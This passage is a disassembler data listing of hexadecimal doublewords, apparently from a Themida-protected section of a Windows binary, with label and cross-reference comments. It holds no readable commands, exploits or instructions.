8D0FF9C3h, 12h, 0DE9h dd 93D69D00h, 6B69A79h, 3F72CB36h, 8D89B45Ch, 6480A19h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E9C35141h dd 8DB5AFD4h, 8529FD9Bh, 6482255h, 0F3585C7h, 64300648h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 8536F8C3h, 5E9F38Ah, 17000000h, 6F0E227Bh dd 28E2BF66h, 242585C7h, 648h, 0BF0F0000h, 0E1B5FFDFh dd 6A064829h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3CADC355h, 1AD78166h, 0BD95FFA6h dd 0E9064820h, 14h, 8AF35E6Fh, 852E070Eh, 3FC9C013h, 4A57C16Dh dd 843C03C3h, 0FF006AF5h, 48306195h, 0EBC08B06h, 0DDC30C4Ah dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h dd 790CA99Bh, 0D4D6A4ADh, 1821C272h, 0B6E04E34h, 9F0C074Ch dd 78A008D3h, 3F6C3AD0h, 0B997D716h, 0BC5C72Eh, 0CACB6EADh dd 5E4B90Dh, 68633CF0h, 0E86A1DF7h, 9, 4F7192B1h, 0F05386AFh dd 0F59D8B5Ah, 5F064806h, 0FC08166h, 56C7811Bh, 8900005Dh dd 482E29B5h, 172D6806h, 0C9810000h, 7168D794h, 3AEB815Ah dd 8B3CCFECh, 0BB665737h, 81584E98h, 577953EEh, 91858B43h dd 81064829h, 0FD6537F6h, 830F601Ah, 1, 3D958BF9h, 61064806h dd 1668C681h, 10E9645Fh, 0CE000000h, 847790BCh, 3D44BFCCh dd 0E271CFD5h, 897C7D52h, 831FB337h, 14E904EFh, 0D9000000h dd 7BE11A6Bh, 7A298084h, 32927872h, 0CE9973B9h, 83A659E2h dd 850F01EAh, 0FFFFFF93h, 29ED8503h, 10E80648h, 95000000h dd 4854FEA4h, 85B8DA02h, 0F07D7EBDh, 0B6A67EC4h, 0BB665F47h dd 0C7819DA7h, 5B2Eh, 0C93373B4h, 34FF78B2h, 0D1958939h dd 5E064809h, 1D85858Bh, 0F6810648h, 16F606BDh, 5B1958Bh dd 0C6810648h, 0A606131h, 68A0F56h, 89000000h, 48193D95h dd 0F6815806h, 7DC8B498h, 8B0F3489h, 482C919Dh, 6850F06h dd 8B000000h, 48058185h, 2E98306h, 820F51h, 5A000000h dd 0BA664949h, 0F981242Ah, 0FFFFA580h, 13850Fh, 7CB00000h dd 20E9h, 1AB6700h, 43D38833h, 0AC528BE5h, 0E901B67Eh dd 0FFFFFF7Eh, 4B8B3C58h, 2F62A5A0h, 0DC20EE42h, 498D8D71h dd 0F064E66h, 86h, 198D8900h, 6606480Ah, 0C75D2AB8h, 480F3585h dd 582006h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0E480E9FCh, 820F5392h, 6, 2AC0C281h dd 315F106Bh, 4821AD85h, 79958B06h, 0C706480Dh, 48242585h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 87F4FD10h, 43B88812h, 0B5FF4FF8h dd 64828C9h, 6ED88166h, 0BD95FF52h, 89064820h, 4829A5BDh dd 0FF006A06h, 48306195h, 0EBC08B06h, 414AED5Fh, 0EE801345h dd 42CCD9F6h, 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh dd 34E42269h, 858A783Ah, 0EF2BE377h, 6F809A7Bh, 3A48DCC9h dd 18F4A034h, 0DF948A91h, 5F0A5340h, 866D22E8h, 0A8587421h dd 0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh, 3E7C8A6h dd 21A6D9C0h, 4731F214h, 22A904EBh, 5CE9751Ch, 0C9000005h dd 0CC8DC713h, 0CA8BC511h, 0D192CA16h, 0CE8FC915h, 0F463CD19h dd 428E49CEh, 4490491Ah, 4C984B0Ch, 539FB3E4h, 0A5A9F5E9h dd 561519B1h, 815E6083h, 75221D69h, 3E8A445Ah, 362C6DE7h dd 2C3E61EAh, 2CF74316h, 0F36367D5h, 414FC6B2h, 5BFC47DEh dd 4AED3682h, 5F004B97h, 52053E8Ah, 7DD53480h, 23799B46h dd 61776BE0h, 2E7A7086h, 2AF50CF5h, 5A062ED7h, 0F186481h dd 0B2E55975h, 0E8474FC6h, 7368F541h, 4A203927h, 35815DFEh dd 2F2475D9h, 1B3C68E3h, 3E1FFB47h, 2464DF2Bh, 7FD04758h dd 578557CEh, 0C93E95BBh, 0C19AC612h, 8EDA8EA4h, 0CA55AC95h dd 0E2B39B77h, 119BA4F0h, 4FC7809Ah, 178D486Eh, 54F1E28Ch dd 70F7h, 69818F00h, 0C5C2C71Bh, 1AF3B1F3h, 54118311h dd 0DBF94FC7h, 0B7AF88F8h, 55275769h, 0A47D727Dh, 0D69AC69Bh dd 4FC793E0h, 0F361AD54h, 54F1F5F0h, 193h, 64812B00h, 0F9D32C18h dd 27A2F7FCh, 90AF98A2h, 5FABBFD5h, 0F6DF7DC6h, 0E07D99E5h dd 9F71BA06h, 205D2A53h, 67B6675Bh, 0D94E85CBh, 0DC88B0FCh dd 531855C3h, 0CF6B276Bh, 0A890DC8Eh, 7B5586DEh, 5D72E32Fh dd 6C691611h, 63782720h, 0B9330C17h, 3F0FB75Ch, 0EA362C0Fh dd 7A592F61h, 2DE83ECFh, 0E9539FB8h, 0CD56A2B8h, 0FE6AB6AAh dd 5AB400DDh, 3B9AB8E5h, 0F127AAC5h, 7AD954h, 816D0000h dd 73111A66h, 0A65A700Ah, 0EABB64B0h, 0A5A1E8A6h, 115F119Fh dd 27411EF8h, 3A2F50DBh, 4E0235EEh, 4DD62238h, 0E120DF4h dd 0B2822DE8h, 4B04795Ch, 717D61FFh, 4FC7A6FDh, 1246D02Fh dd 14A9651h, 475D7263h, 2AFF4894h, 30263703h, 865F78E4h dd 0FE18F13Ah, 0DF361C49h, 0F2074669h, 523D54h, 86D10000h dd 0E32F7B55h, 16115D72h, 1D267269h, 69DE358Bh, 503A226Eh dd 0B4071D86h, 2FD8243Dh, 33FF3EFFh, 64DF2B22h, 34382438h dd 4FC6C742h, 4D410FF2h, 0DF4FC6C7h, 0BA9EBC3Eh, 68C176C1h dd 8FADA6CEh, 3B594FC7h, 0F15D62D8h, 12654F1h, 0C0000000h dd 101B6781h, 6A657B6Fh, 0E53C251Eh, 7D582E5Ah, 58045008h dd 1A667Fh, 495FE158h, 0BE1C4F1Bh, 0EF12498Eh, 392F0834h dd 0B7B4FEDh, 29560EC2h, 372B2C06h, 8D617DEBh, 560EC219h dd 361AF41Bh, 43216D65h, 0A069A2DAh, 1B702E72h, 3A2519DFh dd 0C023FC25h, 0A1EFBEAEh, 921A23EFh, 560F641Ah, 0CF30C58h dd 0DC7E0A13h db 7Eh, 0B4h word_5A36C6 dw 679Eh ; DATA XREF: Themida_:0053D294o dd 0F3F7E3F7h, 560F2983h, 8C024EB1h, 0A0560F29h, 0B2A8B581h dd 0B5ADEE66h, 0A9C1DE69h, 0B2A7BD93h, 9D84DD66h, 4C7D884h dd 65DE0231h, 1EEB54DEh, 849D0DC8h, 1A476849h, 5F001AD7h dd 0F2853D8Bh, 0CA20C83h, 0A199A3F3h, 4DB437B4h, 312EB1E3h dd 0B68A5B39h, 0EC2A49Ah, 8DA98856h, 0EEA0h, 0E95B3600h dd 2B024E09h, 0B8F6313Dh, 928498Eh, 0FD49213Eh, 4500253h dd 0FA461C3Bh, 0E85E724Eh, 4C560EBCh, 0BD5A4C20h, 37DA560Eh dd 2EFB44CEh, 0D288FDD8h, 0F78CCE86h, 8C5B391Fh, 50h, 0CF055B22h dd 0B2B95D71h, 14FB4FC6h, 0B30D810Bh, 0D7FD4FC6h, 0C9738CFCh dd 0DFADC737h, 8ACE61ADh, 3CE2EE5Ah, 0AA4FC726h, 0A8C1D791h dd 0A77EE35Ch, 0B769C59Ch, 747DE058h, 2F000000h, 0D9999ECEh dd 0C76CA115h, 936C934Fh, 0CD9E3068h, 0B88EA881h, 75D3E95Bh dd 8EB8DE59h, 36F11049h, 4B055109h, 300C580Ah, 2A045007h dd 9D4E6715h, 0A773D651h, 0EBD16CBh, 0D1348A56h, 23A865Ch dd 55F3093Bh, 0D0DE7079h, 0E863BE4Fh, 79C59BBCh, 5EAAC09Dh dd 0F6CDA3E5h, 64D1E95Bh, 0A74262E5h, 717DEB42h, 498F8068h dd 68D27996h, 795979D0h, 5BDEA890h, 4975D3E9h, 0C6B31185h dd 327E584Fh, 81D935DCh, 88D4646Dh, 0E3B3CC49h, 6E3BE18Fh dd 2149DF3Bh, 1598594Dh, 0CD34DB56h, 0E12D2552h, 0E8342677h dd 0E17D555Fh, 0EAE442E3h, 5EA115D9h, 6C93C4E3h, 3CB58A95h dd 0F2723AE6h, 0CC18D172h, 0A45F3553h, 2C117F9h, 0DB89D58Dh dd 137BEBFFh, 56B9C4E3h, 0FC394BCh, 0FFD788C3h, 90A995B3h dd 0CEC08CD8h, 5EC4E313h, 0A2CE77C3h, 0BE9409CCh, 0BD64B0A8h dd 0C210C293h, 0DC9B4CBh, 2BF40D3Bh, 0ACAh, 9DB5A600h dd 0A773D651h, 8117639Dh, 73241F6Bh, 6718135Fh, 801F2874h dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh dd 7419125Eh, 53E28952h, 4BBh, 5BDA0100h, 8704EA83h, 565C2414h dd 0C681E689h, 4, 4EE81h, 34870000h, 34895C24h, 0E1895124h dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 2448B951h dd 0C1811A3Eh, 269200D2h, 4106E9C1h, 3043E181h, 0BD5561A2h dd 196478B6h, 81DDF74Dh, 1F3DF4EDh, 0EEF58156h, 3197302Fh dd 0CE895DE9h, 48B5459h, 4C48324h, 89F38953h, 1C8B0858h dd 4C48324h, 582434FFh, 8B04C483h, 89572434h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 1151E95Ch, 0A207FFFAh, 9C8AA9F1h dd 0B80267B8h, 64E6B69h, 0E0FFC503h, 2A923382h, 5AC7B7C8h dd 61EB32A3h, 14746F2Dh, 4CB4E444h, 18192EABh, 137560Ch dd 6DE61EC3h, 6B2F7FDDh, 6E41F848h, 0CD92435h, 6D2D8D8Dh dd 6A064Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BE9F2C3h, 44000000h, 0ECBD939Ah, 0CB15D35Ah dd 8D89488Bh, 6480A19h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 97C35646h, 0C72B7EC3h, 480F3585h, 6ED806h dd 3D8D8900h, 0C7064821h, 48242585h, 6, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0E960EBE0h, 5, 0AD67D933h, 0B5FF6112h, 6481E3Dh, 0BD95FFFCh dd 6A064820h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 8D06C353h, 5387EB6Eh, 0AE9h, 0B77F2400h dd 54503BC5h, 9BE598Ah, 4818CD8Dh, 0FF006A06h, 48306195h dword_5A3A9C dd 0EBC08B06h, 7AA1F23Bh, 35CBCBAh, 7A854FA7h, 8221CCA6h ; DATA XREF: Themida_:0053EEACo dd 191F69C7h, 0BE8F8BE0h, 0E8EF42B6h, 721A8292h, 4E6179D8h dd 0B771EACBh, 0EDDA9997h, 5D69D55Fh, 1BF24695h, 54F1C7DAh dd 6931BC25h, 6E668D8Dh, 858B064Eh, 6482C19h, 820Fh, 8D890000h dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 91C35545h, 5DF0CC27h, 66162516h, 85C7C18Bh, 6480F35h dd 6638h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0ACC35646h, 52199199h, 3DBD0B42h, 0C706480Bh, 48242585h dd 6, 7497BE00h, 0B8BA3DD2h, 0FF30772Ah, 4827B5B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9A12F958h, 10E89491h, 0D1000000h, 9D3384FCh, 0DB48D3DFh dd 6BC0E5B6h, 8B423373h, 4808A19Dh, 0FFF95E06h, 4820BD95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D86E28F5h, 955BAC05h, 6AF5B4h, 306195FFh dd 0C08B0648h, 4552FEBh, 0DDD896F8h, 63A16D1Fh, 0A3B54DFFh dd 0DAE60B48h, 551F55A4h, 0D2643A98h, 65F30FADh, 1B12E08Ah dd 7076053Ah, 0EA24AA15h, 0F190454h, 0CE8AFh, 9F690000h dd 0BAD45E56h, 0AB7E4356h, 0EE99CCEh, 9B000000h, 0FD68B939h dd 7C2F3CDCh, 0B136FC1Bh, 95295E8Ch, 6480479h, 61C9C681h dd 0B70F0000h, 0B5C02BD8h, 6148B16h, 8F281F8h, 0F56F5FBh dd 286h, 81D88B00h, 0CCB4E5EAh, 9E843h, 0DCAB0000h, 0CE605F12h dd 6609254Bh, 815FC88Bh, 65EA22C2h, 0BF665225h, 48FD959h dd 0DF816606h, 0DE90BC7h, 58000000h, 5B4A5F5Ch, 1C926A5Bh dd 8A6A03F1h, 4803E883h, 1EF5B589h, 0F8810648h, 0FFFF9F1Ch dd 45850Fh, 5E80000h, 92000000h, 52DE4ECAh, 11E8h, 0F8A8FD00h dd 960F8AFAh, 0DF4726F5h, 0D107B5Dh, 12E80F97h, 0DD000000h dd 0C50400F2h, 0B53AABEAh, 9DBE44AAh, 71AF50FCh, 595959C2h dd 12E9h, 28C85100h, 8A1BEF4Bh, 0FF4FE9ECh, 0ABE2FFFFh dd 0E8ED8EF2h, 6, 0E35DD7ACh, 8501FF49h, 6480C85h, 0CE959h dd 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0C1811B3Eh, 6B28h dd 22DDBD8Bh, 680648h, 0BB000000h, 284CCECAh, 0C98D8958h dd 0FF064814h, 14E80834h db 3 dup(0) byte_5A3D3F db 65h ; DATA XREF: Themida_:0053D288o dd 3F70009Eh, 0EE8F3B4Ah, 35381C0Bh, 0A5CB8FDEh, 0E89721BBh dd 0Ah, 0A87921C5h, 0ED976B14h, 8B66D9DAh, 5E5B5FD3h, 81D6B70Fh dd 4CCCCFF6h, 199D895Eh, 81064805h, 347630EEh, 25EA8155h dd 8104C948h, 6C844DF6h, 0C9B58908h, 5606480Dh, 0F8BF0F53h dd 1048F5Fh, 68B0Fh, 958B0000h, 64805A1h, 2051958Bh, 0E8830648h dd 4BE78104h, 81224578h, 0FF959CF8h, 78850FFFh, 0BFFFFFFFh dd 5EE9E0E0h, 71208D8Dh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 71501EC3h, 66FC603Dh dd 8D89C28Bh, 648225Dh, 0A198D89h, 6A0648h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C0F87C3h dd 17h, 12E9h, 0E0845B00h, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh dd 899B350Fh, 48210D85h, 3585C706h, 0BC06480Fh, 6A00006Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 5330C355h, 242585C7h, 648h, 870F0000h, 6 dd 29CD8523h, 0B5FF0648h, 6481BEDh, 20BD95FFh, 8D290648h dd 6481E1Dh, 95FF006Ah db 61h, 30h, 48h byte_5A3E8F db 6 ; DATA XREF: Themida_:0053EFCCo dd 1FEBC08Bh, 0FC3A4030h, 43623127h, 6CF84A6Ah, 0A464B4F5h dd 862942Fh, 751E1ED9h, 75BF434Dh, 0EB70D534h, 0A5453904h dd 4EBE93Eh, 22320000h, 203D5ED6h, 253B5CD4h, 283E5FD9h dd 2C2374DCh, 0E1E978E0h, 0FD37835Ch, 0FF39855Ch, 17418D5Eh dd 10489446h, 1A8C608Ch, 1A561524h, 0D96C95BBh, 8C9BD72Fh dd 86C57F9Bh, 0BCEBBE1Dh, 0DEF4D9BEh, 59B09992h, 0B4CAA0BDh dd 70D9529Eh, 6052AB99h, 2FD15E9Dh, 640045D1h, 0D6027478h dd 0CF324FC6h, 0F13D1243h, 0F8441647h, 0E5A102Fh, 1F6B6215h dd 17EE4424h, 0EC64B0A2h, 0C46CB8ABh, 0AB74C093h, 0DB89D58Ch dd 0AAE6ACC2h, 0CC664066h, 0BE0AC473h, 0AFFBD285h, 873E9474h dd 0BF166CDCh, 0E34D994Ah, 9752A0B2h, 4F39557h, 4E9A50F3h dd 6BE06CB7h, 9B4FC701h, 9B289E75h, 0E854F163h, 3Eh, 87C3839Ch dd 8D96E2F9h, 6BE14BB4h, 81EF55E1h, 8A221D69h, 4FC6B312h dd 9107BEF4h, 54F1160Eh, 175h, 64810900h, 75700F18h, 65811E29h dd 0EC420E19h, 4D99B429h, 54A0B2E3h, 1D86A2DCh, 4C58DB5Ah dd 0EAA64AF5h, 0EB937DA6h, 1D68793h, 10CD6AB5h, 62AE7BC4h dd 7A3A7C41h, 0E832DA32h, 491E9372h, 6F7B5FFDh, 4FC72BFFh dd 753082Dh, 203C141Eh, 0ECD0EEFFh, 40E980Eh, 15337F53h dd 69E22E24h, 4BD42036h, 3A030FF6h, 49F7431Dh, 6D647A70h dd 192E0821h, 198F466Ch, 54F1CE76h, 7E0Dh, 0CF9BBF00h dd 4FC764DFh, 0DE68B24Dh, 111A6681h, 0F52E7A6Eh, 1AB6C713h dd 74411868h, 0FE4A1E41h, 52DC45h, 6F6455C5h, 0F5412823h dd 39236F68h, 28236F68h, 18135F77h, 188E456Dh, 54F1F27Bh dd 6408h, 66819E00h, 4273111Ah, 513A3F8Dh, 83C48338h, 1CCF90AAh dd 2D2857D0h, 1C3966E1h, 431957D0h, 2773D580h, 41473713h dd 0CAE24FC7h, 0C98C83Ah, 838F7298h, 6681F6CDh, 8168221Ah dd 850F1864h, 4FC6B30Eh, 0F6317D55h, 86A98811h, 74E7A1E7h dd 0F19125Eh, 817F2AE9h, 0E5FA7053h, 9E54F1C6h, 1, 7C558638h dd 105C0F30h, 337F5906h, 479347F8h, 0DF404CFCh, 0AEEC7F0h dd 2A300A03h, 2B227BEBh, 0C90B2945h, 3A2E2F0Bh, 68E32F24h dd 3BD21E37h, 223E6AD2h, 0C73D584Eh, 735DC4Fh, 0C73D5343h dd 0F43EE14Fh, 77E5FB3Dh, 0F13D895Eh, 47AE6569h, 2100498Fh dd 15617926h, 7F567F1Bh, 0B571033h, 0F03C2E2Fh, 38271D37h dd 293A560Fh, 1D3562DDh, 643A56D1h, 56F6A1h, 4E9A50C5h dd 519DB5E6h, 65B1A9D6h, 18418FDAh, 0D62BF440h, 4ABF163Ch dd 0B2E44C98h, 5B399B2Dh, 13456h, 0E95BF000h, 8F4475D3h dd 0B2FC727Eh, 0D1304FC6h, 2518EF38h, 0F88323A9h, 0B2BEAA83h dd 4FC70DBCh, 0DD859170h, 8F135611h, 9EA98849h, 0B39DE901h dd 3DAF0E2h, 6C956CB7h, 80CE84B3h, 40A0E6A2h, 5EE94061h dd 0E358BB13h, 0E7B9A3EFh, 5B3A07DCh, 57A7h, 55B3F00h dd 49024E05h, 3F1B49E0h, 0DF20FDEh, 0CC66C766h, 0C73E7EA0h dd 0C28EAE4Fh, 4FC73ECCh, 0DF68C160h, 0E6A95CC5h, 62A562A7h dd 909BE701h, 0A1155DB9h, 714FC760h, 1E6A6455h, 0EC873E14h dd 2B0C3868h, 0CE33EC38h, 32541844h, 224FC760h, 8AC255FFh dd 80000000h, 75D3E95Bh, 8EB8DE59h, 36F11049h, 4B055109h dd 0AEEEE0Fh, 0F43BBEECh, 9E7891DDh, 0BC93A9C1h, 8AAB9970h dd 0A3C18AD6h, 0ECAD7C7h, 53BA5556h, 0BBF67EC7h, 2F560EC9h dd 4D057A59h, 60E05701h, 20501C48h, 104FD0DBh, 636753F1h dd 4FCD18F3h, 0EB54DE41h, 14A964Ch, 3F12434Fh, 0D23127F3h dd 51EF0537h, 8F29CB7Dh, 1A46E949h, 0CA342A46h, 19F8560Eh dd 2C0D59FDh, 3A5DE632h, 122ED723h, 0ECA483Eh, 0E945EC56h dd 0D3E95B53h, 0C3A75975h, 65054988h, 15241589h, 3C2E1756h dd 3BD237F0h, 342659D2h, 3B2F70E8h, 40122825h, 2BF40DF4h dd 7BF2A321h, 0CA095F7Dh, 7317D55h, 18647A5Bh, 3D8961FEh dd 6A6EFE1Fh, 9CFE616Ch, 6C07DED0h, 5AB34E8Eh, 0FED887C0h dd 0A1B779B2h, 0A9F5ED62h, 0B0FCEEAFh, 0D8677h, 863C0000h dd 0B320965Ah, 0ED144FC6h, 814C1621h, 73241F6Bh, 6718135Fh dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh dd 7728236Fh, 7419125Eh, 51E08950h, 4B9h, 59C80100h, 8704E883h dd 685C2404h, 1092h, 50241489h, 405E089h, 83000000h, 48704E8h dd 34895C24h, 0BBB5324h, 0BA45C366h, 438D1744h, 1C8BDA31h dd 4C48124h, 68000000h, 7A4Fh, 81242489h, 42404h, 505E0000h dd 8B8h, 57F00100h, 3889D789h, 34FF585Fh, 0C4835E24h, 2434FF04h dd 4C4815Ah, 0E9000000h, 0FFFA0723h, 75C1B8C6h, 0C503064Eh dd 416BE0FFh, 168C502Bh, 90CD726Bh, 0A5255C90h, 53DB6394h dd 57BD6C6Bh, 0B4E41770h, 9CF9245Bh, 0C2464CECh, 0A5EE78EAh dd 0DF9C521Eh, 31BC5C7Ch, 0B35E5F14h, 31A21F5Eh, 0BD6214FAh dd 49565D2Ch, 11E805CDh, 17000000h, 0D39DDF87h, 435EBF86h dd 0C0D77906h, 20302C6Dh, 53C2815Ah, 81000070h, 0E1B841C6h dd 685Bh, 0B70F0000h, 34FF58F2h, 0EE85B10h, 52000000h dd 28E4A662h, 0AEB50687h, 439360FAh, 12E825h, 0EECE0000h dd 75947854h, 5CA2C87Bh, 6906B3C9h, 0D29CD68h, 0C34DC181h dd 595E788Dh, 0AEABEB81h, 0C7811938h, 0BA1384Dh, 0D68CC381h dd 81660965h, 81EC1DF1h, 8D08DEBh, 8C0F26h, 53000000h dd 10E9h, 0E06C5500h, 0EFC72824h, 14127BA7h, 0F82E50D5h dd 2048F10h, 7E8h, 89C88800h, 61E515Fh, 4E8835Eh, 81CA8B66h dd 0FF9090F8h, 14850FFFh, 0F000000h, 280h, 0E95F5600h dd 22h, 0DA249A97h, 667CD00Ah, 0E9B03DBEh, 0FFFFFF52h dd 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 0ABECBCEAh, 8E88C14h dd 0B7000000h, 9D586F69h, 0FA92DA6h, 581h, 0EB816600h dd 525EB60Eh, 0C68158FCh, 6425h, 0F60C92Bh, 681h, 0D7E88100h dd 666D2CD2h, 7566F381h, 3134FF61h, 0BB5AC28Bh, 1C322C66h dd 4102F281h, 0F5BF2CCDh, 813675B9h, 0BAEF10F2h, 812BB326h dd 8183EAF2h, 0BF75BF65h, 14891C91h, 258C0F0Eh, 0E8000000h dd 0Eh, 8B77BD54h, 0A8E6F944h, 3B44BD7Bh, 0BE81FB1h, 3F000000h dd 5C36B1E0h, 84B2F11Dh, 5F5F8F19h, 9E9h, 0CA58B600h, 727EF89Ch dd 0E9818BB4h, 193BFEBCh, 7EB8166h, 0B8C1810Eh, 0E9193BFEh dd 13h, 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h, 81C3B2F6h dd 0FF9CD0F9h, 11850FFFh, 66000000h, 0E99ABDB8h, 24h, 92518B92h dd 6BA1E5D1h, 0E9F9B70Fh, 0FFFFFF4Dh, 47E9BDFEh, 0E402BAE8h dd 3729F714h, 0C16E83EEh, 0DAF888D2h, 0A234AC42h, 0A27C2406h dd 3BB37D7Ah, 807821A7h, 83B42A21h, 6F302590h, 863025DDh dd 9A9198A7h, 8930235Ah, 8630AD8Dh, 378DA684h, 86366D57h dd 864BA12Eh, 3F62590h, 80780225h, 8634CD6Ah, 51702512h dd 0D608D4Bh, 0D3401C0h, 0A274AC42h, 33CF7D25h, 80783931h dd 52EA0C5h, 56CF236Fh, 3F6D599h, 80780264h, 6BA24DCAh dd 82B17611h, 68D98B05h, 3785DAC4h, 0B366D5Dh, 0CDB33BA1h dd 0DE0DA14h, 86209CF1h, 8ED92584h, 20302542h, 863EA02Eh dd 8D792590h, 76B52A81h, 6FCFDADBh, 8630251Fh, 0CD54B884h dd 838823CCh, 79302542h, 0EB8DA8C2h dd 0B366BE8h, 0C84911C5h, 0A3229D22h, 491BA322h, 0A234AC42h dd 0A27C2406h, 3BB37D7Ah, 807821A7h, 83B42A21h, 6F302590h dd 863025DDh, 839198A7h, 0A4F305E9h, 22B9h, 5E800h, 12E40000h dd 0F6B0A97h, 8059DAB7h, 0C18166EBh, 66B7h, 0AD99589h dd 0D2330648h, 3880Fh, 8B660000h, 11348BC6h, 25218501h dd 0C6810648h, 13865E86h, 30D78166h, 99EE817Fh, 8B1F6792h dd 4813E985h, 1BC68106h, 606F0E7Fh, 10E9h, 176C5200h, 89EA13A7h dd 0C4E8E129h, 1571B8B6h, 61D68BB1h, 819D0B56h, 8F06481Bh dd 820F1104h, 1, 0F5BD8BF9h, 8306480Eh, 4A4A01EAh, 21858B4Ah dd 8106482Bh, 0FF9A00FAh, 12850FFFh, 0BF000000h, 7A0CAEF6h dd 20E9h, 0DE2AB400h, 3EEAB696h, 0E9FB8B14h, 0FFFFFF79h dd 8B10699Eh, 0FAFBB1DFh, 3B9FE42Bh, 0A2E4D0C2h, 0BA04EB60h dd 0E94D16F0h, 84Fh, 143C885Ch, 163E8A43h, 153F8B45h, 163E8A44h dd 163E8A45h, 253ABF07h, 2B3E5FD9h, 2F2475DFh, 322879E3h dd 466A6EE6h, 152D342Ah, 0D1DDF856h, 2F7B5586h, 69010DF4h dd 4FC6B2F2h, 0F2D7971h, 63B08EEh, 0F43EB43Eh, 4317405Ch dd 24141BF7h, 0F30C300Ch, 0E1830585h, 1D55E1A4h, 498F4D46h dd 0B6A8C4A8h, 0B0560F36h, 0F36AA9Ch, 7FA78A56h, 6AB501D6h dd 8C976E97h, 0BDEF4EBh, 0B2EE66BFh, 0B680CC89h, 0DA65B1A9h dd 0CADD61C2h, 851D85DBh, 6AB6ACA9h, 0DB3A90E1h, 3C287466h dd 0C7F791E3h, 9968C30Fh, 9FAB998Ah, 560F7BAFh, 0C098A27Dh dd 39DE019Eh, 0C7A3B75Bh, 560F6FD7h, 0CF60BA55h, 57h, 7A558667h dd 20CF52Eh, 6D647A55h, 253F0821h, 547656FCh, 72BC59BCh dd 0A59EEAE5h, 22976EC4h, 2577E12Dh, 54F20A9Ah, 2AE9h dd 66817D00h, 1083111Ah, 534FC6B3h, 49F6317Dh, 2809428Eh dd 0C548F3D2h, 61ADBE97h, 0A1B783E6h, 0A6F2ED62h, 21ABAEh dd 81670000h, 4B975066h, 47002900h, 392D411Dh, 0FB4FC6B3h dd 0FA72FA14h, 784FC6B2h, 796EE322h, 5B39032Dh, 5975D3E9h dd 498EB87Ah, 0D2C488B4h, 62560EBDh, 0BADD66BFh, 0CDEE5AA6h dd 0BC99CA16h, 0F1B2A670h, 0D9A0ABF7h, 0D7F35167h, 4FD6C5CCh dd 444FF22h, 1327976Eh, 0C6B64737h, 0F04AE54Fh, 32D796Fh dd 0F9327E52h, 0C6B5FB5Bh, 22E1174Fh, 0F967B3ADh, 82BD09E0h dd 81BB939Fh, 73D1035Bh, 67CF690Ah, 0FD194019h, 811D6947h dd 7A211D69h, 19538010h, 5A3057F1h, 0C6000000h, 55D1035Bh dd 0B2F46A86h, 49724FC6h, 62543E8Ch, 0D2D0D252h, 2149DF3Bh dd 0C735594Dh, 0CD34DB4Fh, 7B558651h, 6377E32Fh, 0B3037377h dd 70664FC6h, 823FE24h, 19A3C5A5h, 47FD1955h, 20965A86h dd 144FC6B3h, 0C976CBEBh, 53BA47BAh, 76C296C7h, 3FBC06ACh dd 31h, 0D1035BD3h, 495A8655h, 0EDAE75B0h, 4921EDAFh, 4FC75655h dd 86F22CD3h, 1B67813Ch, 493D112Dh, 0EB4FC6B3h, 0B2FB6B7Fh dd 0D6394FC6h, 659E32Fh, 1D6981BCh, 5F4F1B3Fh, 0CD4FC6B3h dd 555FE832h, 4FC2340Fh, 34A6F743h, 29756AA9h, 1BE04B1Eh dd 59FF1BC4h, 14D057Ah, 352A0B57h, 57104DE9h, 481F400Bh dd 647760FCh, 0E849FE18h, 0A9BE3392h, 1EA1F35Dh, 6554F5A5h dd 1Eh, 1D6981F9h, 0D7ED4F22h, 0B2FA6569h, 0E54C498Eh dd 99C20E5Ah, 0B1A773BFh, 0B905DD52h, 6981C57Fh, 0ED4F221Dh dd 1F06520Dh, 9B862D41h, 69C8498Eh, 35B95EFh, 1D6955D1h dd 3F1D6981h, 0B35F4F1Bh, 32CD4FC6h, 55865EE8h, 845A2E7Ch dd 67706758h, 0A2DC74BEh, 0D33E1D86h, 0A20FA23Ch, 5CA9C698h dd 25DA57F1h, 74000000h, 55D1035Bh, 0B2F46A86h, 0D9384FC6h dd 813C864Dh, 60F1B67h, 76BEC9DAh, 0B993B9BCh, 3F3FE75Dh dd 0D3000000h, 55D1035Bh, 0B2F46A86h, 4E724FC6h, 0C6B30C82h dd 3501204Fh, 860E18EFh, 5667813Ch, 0C6B3047Ah, 2009284Fh dd 6A1D8626h, 0A4636853h, 0E14FC863h, 0EABDEA4Dh, 8FA89450h dd 0AC958EDAh, 6981DC62h, 44163F1Dh, 438F47F8h, 